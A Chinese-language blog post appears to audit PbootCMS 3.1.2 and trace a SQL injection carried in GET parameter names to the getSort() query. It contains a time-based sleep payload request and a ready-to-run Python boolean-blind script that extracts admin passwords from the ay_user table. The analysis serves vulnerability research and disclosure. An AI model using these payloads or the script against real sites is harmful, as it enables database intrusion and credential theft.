免责声明
本文章提供的内容仅用于个人学习、研究或欣赏。不保证内容的正确性。通过使用本站内容随之而来的风险与本站作者无关。
前言
寒假在家自己挖到一个CMS的漏洞,提交CNVD的时候发现别人已经提交过了,所以将其写成文章做一个总结。
环境搭建
源码下载:https://www.jb51.net/codes/609175.html
安装:参考README.md文档,按照步骤自行安装,安装成功后访问页面如下:
代码审计
方式
我用的是PHPstudy+VsCode
起因
在测试这个CMS的时候,我先使用某扫描器扫了一波,结果爆出前台有SQL注入,但是注入参数很复杂,然后自己使用mysql monitor工具查到了导致注入的SQL语句,虽然知道了利用方式,但依然是不明不白,不清楚为何导致的SQL注入,而且这种注入方式我从未见过(我称之为GET参数键名注入),于是开始了代码审计
http request:
GET /MyWebsite/pboot/PbootCMS-V3.1.2/?(select(0)from(select(sleep(4)))v)/*'%2B(select(0)from(select(sleep(4)))v)%2B'"%2B(select(0)from(select(sleep(4)))v)%2B"*/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://192.168.231.1/MyWebsite/pboot/PbootCMS-V3.1.2
Cookie: lg=cn; PbootSystem=mei4md668fkrnpva05h64b5v98; PHPSESSID=a9hca929lgsen09sg9al4j3a0e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36
Host: 192.168.231.1
Connection: Keep-alive
漏洞位置
- 我先去查看了这个CMS的路由(apps/common/route.php),与前台有关的路由只有三个,发现这三个路由并没有获取GET参数的键,显然与我之前发现的前台报错无关。
// =======前台路由============
'home/sitemap.xml' => 'home/Sitemap/index', // 站点地图XML格式
'home/sitemap.txt' => 'home/Sitemap/linkTxt', // 站点地图TXT格式
'home/sitemap' => 'home/Sitemap/index', // 站点地图默认XML
因为这个SQL注入是GET参数名注入,然后我尝试全局搜索了一下
$_GET
,发现GET数组的键都是固定的,也就是说无法通过键名注入除了
$_GET
,$_SERVER["QUERY_STRING"]
也可以获取GET数组。然后全局搜索$_SERVER["QUERY_STRING"]
,只有两个controller解析了GET参数:IndexController.php
、ParserController.php
:
- 初步猜测是
IndexController.php
导致了SQL注入。在对应处设置断点,开启调试,然后访问http://url/?test
,成功抓取到我们输入的GET参数:test 。
对应代码:
/**
* apps/home/Controller/IndexController.php
* 空拦截器, 实现文章路由转发
*/
public function _empty()
{
// 地址类型
$url_rule_type = $this->config('url_rule_type') ?: 3;
if (P) { // 采用pathinfo模式及p参数伪静态模式
// 禁止伪静态时带index.php访问
if ($url_rule_type == 2 && stripos(URL, $_SERVER['SCRIPT_NAME']) !== false) {
_404('您访问的内容不存在,请核对后重试!');
}
$path = P;
} elseif ($url_rule_type == 3 && isset($_SERVER["QUERY_STRING"]) && $qs = $_SERVER["QUERY_STRING"]){
// 采用简短传参模式
parse_str($qs, $output);
unset($output['page']); // 去除分页
if ($output && ! current($output)) { // 第一个路径参数不能有值,否则非标准路径参数
$path = key($output); // 第一个参数为路径信息
} elseif (get('tag')) { // 对于兼容模式tag需要自动跳转tag独立页面
$tag = new TagController();
$tag->index();
} elseif (get('keyword')) { // 兼容模式搜索处理
$search = new SearchController();
$search->index();
}
}
- 逐步调试,下面我只写出解析
$_SERVER["QUERY_STRING"]
的主要代码:
$qs = $_SERVER["QUERY_STRING"] //将GET参数赋值给$qs
parse_str($qs, $output); //将$qs参数分割,并赋值给数组$output,注意键名中的'.'会转换为'_'
unset($output['page']); //去除page参数
if ($output && ! current($output)) { //$output第一个参数不能有值,否则 current($output) 为真
$path = key($output); //将$output第一个参数赋值给$path
}
$path_arr = $path ? explode('/', $path) : array(); //将$path以'\'分割,结果赋值给$path_arr
if (isset($path_arr) && count($path_arr) > 0) {
switch (strtolower($path_arr[0])) {
default:
if (! $suffix && ! ! $sort = $this->model->getSort($path)) {} //SQL注入点
}
}
$this->model->getSort()函数:
/**
* apps/home/modle/ParseModle.php
* 单个分类信息,不区分语言,兼容跨语言
*/
public function getSort($scode)
{
$field = array(
'a.*',
'c.name AS parentname',
'b.type',
'b.urlname',
'd.gcode'
);
$join = array(
array(
'ay_model b',
'a.mcode=b.mcode',
'LEFT'
),
array(
'ay_content_sort c',
'a.pcode=c.scode',
'LEFT'
),
array(
'ay_member_group d',
'a.gid=d.id',
'LEFT'
)
);
return parent::table('ay_content_sort a')->field($field)
->where("a.scode='$scode' OR a.filename='$scode'") //$scode参数可控
->join($join)
->find();
}
- 基本可以确定是这里导致了SQL注入
自定义脚本
- 由于
$path = key($output)
这一步中.
会转换_
,所以常规的information_schema.
无法利用,我暂时也没有想到可以绕过的方式,所以这个SQL注入漏洞还是很有局限的,只能在当前库中查询,而且无法获取列名和表名,只能靠猜测。但是默认的列名和表名我们可以在本地去查:
- 为了方便我自己写了一个查询后台管理员密码的python脚本,使用的是布尔注入
# pbootcms-3.0.12-sql注入爆破脚本
import requests
import urllib3
urllib3.disable_warnings()
#
# 使用时候请输入目标URL
url = ""
test = "?1%27and%2Bif(mid((select(group_concat(username))from(ay_user)),1,1)>%271%27,1,0));%23"
test_payload = url + test
mid = 0
result = requests.get(test_payload)
if result.status_code == 200:
pwd = ""
for i in range(1, 33):
min_value = 32
max_value = 130
while min_value < max_value:
mid = (min_value + max_value) // 2
if mid == min_value:
break
payload = "?1'and%2Bif(ord(mid((select(group_concat(password))from(ay_user)),{},1))%3C{},1,0));%23".format(
i, mid)
final_url = url + payload
result = requests.get(final_url, verify=False)
if result.status_code == 200:
max_value = mid
else:
min_value = mid
pwd += chr(mid)
print(pwd)
else:
print("payload错误")
- 粘一张截图:
其他版本
我又对以前版本进行了测试,并不存在此漏洞,看了下源码,发现是以前的版本有一个地址分割符_
,导致了$path
被_
分割了,这就要求我们的SQL注入语句必须满足以下条件:
- 不带
.
、_
而数据库中默认表名都是带_
的,所以我们无法查询数据
总结
其实除了3.1.2,其他3.*版本都存在SQL注入,但是被过滤了.
和_
,无法查询有用数据,只能通过布尔注入查一些简单信息,如database()
、user()
等等。
如果有其他大佬发现了更好的利用方式,希望可以私下交流交流。